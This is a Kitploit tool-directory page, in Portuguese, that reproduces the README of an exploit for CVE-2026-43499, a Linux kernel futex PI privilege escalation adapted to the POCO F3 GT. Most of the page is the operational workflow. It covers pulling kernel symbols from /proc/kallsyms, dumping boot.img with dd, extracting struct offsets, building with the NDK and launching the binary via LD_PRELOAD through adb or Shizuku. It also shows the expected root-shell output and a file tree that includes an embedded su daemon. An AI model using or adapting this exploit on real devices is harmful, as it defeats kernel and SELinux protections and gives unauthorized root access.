Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
ghostlock-aresin — GhostLock (CVE-2026-43499) exploit para POCO F3 GT (aresin) — MediaTek Dimensity 1200, escalada de privilégios do kernel Linux 4.14.186 ARM64 via manipulação da cadeia de futex PI | Kitploit
Ferramentas/GitHubGitHub/nothingfumo/ghostlock-aresin
Segurança AndroidEscalada de PrivilégiosAnálise de VulnerabilidadesExploraçãoEngenharia ReversaSegurança MóvelExploração de Binários
GitHubnothingfumo/ghostlock-aresin

ghostlock-aresin

GhostLock (CVE-2026-43499) exploit para POCO F3 GT (aresin) — MediaTek Dimensity 1200, escalada de privilégios do kernel Linux 4.14.186 ARM64 via manipulação da cadeia de futex PI

Ver Repositório
42há 4 diasAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

GhostLock (CVE-2026-43499) — POCO F3 GT (aresin)

Exploit de sobrescrita de physmap somente com dados para MediaTek Dimensity 1200 (MT6893). Kernel: 4.14.186-android13 / MIUI V14.0.4.0.TKJCNXM.

⚠️ Pré-requisitos

  • Dispositivo: POCO F3 GT / Redmi K40 Gaming Edition (codinome: aresin)
  • SoC: MediaTek Dimensity 1200 (MT6893)
  • Sistema: Android 13 / MIUI 14 (V14.0.4.0.TKJCNXM)
  • Kernel: 4.14.186-g0dc1d312efb3
  • Sem necessidade de desbloquear o bootloader (BL) — basta obter uma shell via Shizuku (depuração sem fio) para executar
  • Shizuku ou adb shell capazes de executar binários arm64
  • Após a execução, o dispositivo será reiniciado (kernel panic — comportamento esperado). Se quiser salvar os logs, conecte o adb logcat antes

✅ Verificação das condições da vulnerabilidade

CondiçãoStatusDescrição
Faixa de versão do kernel✅4.14.186 está dentro da faixa 2.6.39 ~ 7.0.4
CONFIG_FUTEX_PI✅Habilitado (y)
CONFIG_RT_MUTEXES✅Habilitado (y)
Arquitetura✅aarch64
CONFIG_PREEMPT✅Habilitado (y)
CONFIG_RANDOMIZE_KSTACK❓A confirmar (o 4.14 pode não suportar)

🔧 Etapas de adaptação

Passo 1: Extrair endereços de símbolos do kernel

root@kitploit:~
# 在设备上运行提取脚本
adb push tools/extract_offsets.sh /data/local/tmp/
adb shell sh /data/local/tmp/extract_offsets.sh
adb pull /data/local/tmp/ghostlock_offsets.txt

Se tiver root (Magisk), você pode extrair diretamente de /proc/kallsyms:

root@kitploit:~
adb shell su -c "cat /proc/kallsyms | grep -E 'init_task|init_cred|entry_task|__per_cpu_offset|root_task_group|selinux_enforcing'"

Passo 2: Extrair o vmlinux e analisar os offsets das estruturas

Método A: Extrair o vmlinux do boot.img

root@kitploit:~
# 1. 获取 boot.img
adb shell "ls /dev/block/by-name/boot"
adb shell "dd if=/dev/block/by-name/boot of=/data/local/tmp/boot.img"
adb pull /data/local/tmp/boot.img

# 2. 用 magiskboot 解包
magiskboot unpack boot.img
# 产物: kernel (压缩的 vmlinux)

# 3. 解压 vmlinux
magiskboot decompress kernel vmlinux.elf

# 4. 用 pahole 提取结构体偏移
pahole --structs=rt_mutex_waiter vmlinux.elf
pahole --structs=task_struct vmlinux.elf | grep -A2 -E "usage|prio|normal_prio|pi_lock|pi_waiters|pi_top_task|pi_blocked_on|cred|real_cred|task_group"

Método B: Analisar com Ghidra

  1. Abra vmlinux.elf com o Ghidra
  2. Pesquise as estruturas rt_mutex_waiter e task_struct
  3. Registe os offsets de cada campo

Passo 3: Preencher o target.h

Preencha os offsets extraídos em todas as posições 0xTODO no target.h.

Tabela de referência dos offsets principais:

Passo 4: Compilar

root@kitploit:~
# 需要 Android NDK r27+
export NDK_ROOT=/path/to/android-ndk-r27
# 或使用 Android Studio 中的 NDK
export NDK_ROOT=$HOME/Library/Android/sdk/ndk/27.0.12077973

# 编译
make preload TARGET_HEADER=target.h

# 产物: build/bin/preload.so

Passo 5: Testar

root@kitploit:~
# 推送到设备
adb push build/bin/preload.so /data/local/tmp/
adb push build/bin/ghostlock_aresin /data/local/tmp/ 2>/dev/null || true

# 运行
adb shell LD_PRELOAD=/data/local/tmp/preload.so /data/local/tmp/ghostlock_aresin

# 或用 Shizuku
# 在 Shizuku 中执行: LD_PRELOAD=/data/local/tmp/preload.so /data/local/tmp/ghostlock_aresin

📊 Comportamento esperado

⚠️ Avisos importantes

Diferenças entre os kernels 4.14.x e 6.1.x

  1. A estrutura rt_mutex_waiter é diferente:

    • O 4.14.x usa plist_node em vez de rb_node
    • Os offsets dos campos são completamente diferentes
    • Pode não ter os campos deadline / ww_ctx
  2. O layout de task_struct é diferente:

    • Os offsets de pi_blocked_on, pi_lock, etc. no 4.14.x diferem do 6.1.x
    • Os campos relacionados a uclamp podem não existir no 4.14.x
  3. A implementação do KASLR é diferente:

    • A forma de randomização do KASLR no 4.14.x difere do 6.1.x
    • O método de leak pode precisar de ajustes
  4. Diferenças de segurança entre Android 13 e 14:

    • As políticas do SELinux podem ser diferentes
    • As restrições de acesso a /proc/self/pagemap podem ser diferentes

Verificação dos offsets

Depois de preencher os offsets, é recomendável fazer uma validação cruzada com o Ghidra:

  1. Abra o vmlinux.elf no Ghidra
  2. Navegue até a estrutura rt_mutex_waiter
  3. Confirme se os offsets de cada campo correspondem aos de target.h

📁 Estrutura de arquivos

root@kitploit:~
ghostlock-aresin/
├── README.md              # 本文件
├── Makefile               # 编译脚本
├── target.h               # 目标设备偏移定义 (需要填写)
├── src/                   # 源码
│   ├── main.c             # 主利用逻辑
│   ├── util.c             # 工具函数
│   ├── slide.c            # KASLR 泄漏
│   ├── fops.c             # 文件操作
│   ├── pipe.c             # pipe 相关
│   ├── preload.c          # LD_PRELOAD 入口
│   ├── su_daemon.c        # su 守护进程
│   ├── su_blob.S          # su 二进制嵌入
│   ├── standalone.c       # 独立运行
│   ├── common.h           # 公共定义
│   └── offset.h           # 偏移计算
├── tools/
│   └── extract_offsets.sh # 偏移提取脚本
└── build/
    ├── bin/               # 编译产物
    └── embed/             # 嵌入文件

📜 Licença

Apenas para fins de pesquisa/educação. Use por sua conta e risco.

PoC original: NebuSec/CyberMeowfia → IonStack/CVE-2026-43499/exploit/ Adaptado para: POCO F3 GT (aresin) por ghostlock-aresin

Baixar ferramenta
CampoDescriçãoMétodo de extração
INIT_TASKEndereço do init_task/proc/kallsyms ou Ghidra
INIT_CREDEndereço do init_cred/proc/kallsyms ou Ghidra
WAITER_*_OFFOffsets dos campos de rt_mutex_waiterpahole / Ghidra
FAKE_TASK_*_OFFOffsets dos campos de task_structpahole / Ghidra
TASK_CRED_OFFOffset do ponteiro credpahole / Ghidra
FaseSaídaDescrição
Inicialização[*] GhostLock - aresin (MT6893 D1200) 4.14.186Dispositivo reconhecido corretamente
Fixação de CPU[+] CPU0 pinnedFixado na CPU0
Carregamento de endereços[*] init_task @ 0xffffffc00xxxxxxxEndereço LM fixado
Verificação de permissões[+] uid: xxxxxExibe o uid atual
Slide do KASLR[+] slide = 0 ou slide = xxxDeteção do KASLR
Disparo do escalonamento de privilégiosApós o sucesso, o uid muda para 0Obtém root
Falha[-] ... + reinicializaçãoKernel panic (a vulnerabilidade existe, mas os offsets precisam de ajuste)